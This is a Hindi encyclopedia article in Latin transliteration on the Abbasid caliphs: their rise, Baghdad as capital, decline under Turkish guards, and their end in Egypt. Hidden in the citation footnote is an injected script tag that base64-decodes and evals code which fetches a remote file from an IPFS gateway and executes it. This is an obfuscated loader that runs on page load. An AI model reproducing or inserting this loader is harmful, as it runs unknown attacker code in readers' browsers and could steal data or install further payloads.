अब्बासी
abbasi nam se itihas mean tin gharane prasiddh haian-
- abbasi khalipha
- eeran ke shaphavi badashah
- soodan ka ek rajakul
itihas
abbasi khaliphaoan ne bagadad ko apani rajadhani banaya tha. ve abbas bin abdul ttuliv bin hashim ki santan the. al abbas ki aulad ne khorasan ko apana thikana banaya aur unake pautr mohammad bin ali ne bani omayya ko j d se ukha d pheankane ki poori taiyariyaan kar li thi. vah apane prayatn mean saphal rahe aur 747 ee. mean khorasan mean vidroh hua. bani omayya ki sena parajit huee. 749 ee. mean abul abbas ne khilaphat ka dava kiya aur alasaphah yani khooni ka nam dhaaran karake bani omayya ke ek-ek adami ko talavar ke ghat utar diya. is kutuanb ka ek vyakti abdul rahaman bin moaviya apani jan bachakar spen bhag gaya aur karataba mean bani omayya ka rajy sthapit kar liya.
jaboo japharil mansoor ne bagadad ko apani rajadhani banakar rajanaitik keandr ko poorv ki or hata liya. is ne gharane ne jnan-vijnan ki raksha mean b da hissa liya, parantu itane b de rajy mean ekata ko keandrit karana asan kam n tha. 788 ee. mean idris bin abdullah ne marakash mean ek alag svatantr rajy sthapit kar liya. khairavan ko bhi svatantrata mil gee. khorasan mean vahaan ke shasak tahir jul manan ne 810 ee. mean khalipha ki adhinata manane se inakar kar diya aur 896 ee. mean misr ke shasak ne bhi apani svatantrata ghoshit kar di.
avanati
khalipha alh mottasim (833-42) ne turk dasoan ki ek sharir-rakshak sena banaee aur is abbasi gharane ki avanati shuroo huee. turk dasoan ka bal rajanitik karyoan mean dhire-dhire badhata gaya. khalipha al muktadar ne 908 ee. mean munis ko, jae turk sharirakshak sena ka adhyaksh tha, amirul umara ki upadhi di aur usi ke sath-sath sare rajanitik adhikar use sauanp die. jab phatami khanadan misr mean apani shakti badha raha tha, tab abbasi khaliphaoan ke dharmik karyoan ko bhi b da dhakka pahuancha. abbasi khilaphat ke poorvi kshetr mean kee svatantr rajy ban ge, jinamean pradhan turkistan mean saljuko ka tha. jab turki ka prabhav badha, tab khalipha ke rajy ki had bagadad nagar aur usake nikatavarti kshetr mean simit ho gee.
bagadad par 1258 ee. mean halakoo ne akraman kar alh motasim ka vadh kar diya. abbasiyoan ka kutuanb titar-bitar ho gaya aur logoan ne bhagakar misr mean sharan li. phatimi sulatanoan ne unhean khalipha avashy man liya, magar unaka rajanaitik ya dharmik mamaloan mean kuchh bhi prabhav n raha. 1517 ee. mean usmani turk salim pratham ki adhinata mean misr par akraman karake shahi khanadan ka aant kar diya gaya aur usase ek ekararaname par hastakshar karae, jisamean usane samast rajanaitik aur dharmik adhikar tyag dene ki ghoshana ki. salim ne alh motavakkil ko phir misr laut jane ki ajna de di, jahaan pahuanchakar vah 1538 ee. mean mar gaya. is kutuanb mean 27 khalipha hue, jinamean harooannoorrashid aur mamoonoorrashid ke nam vishesh prasiddh haian.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 172 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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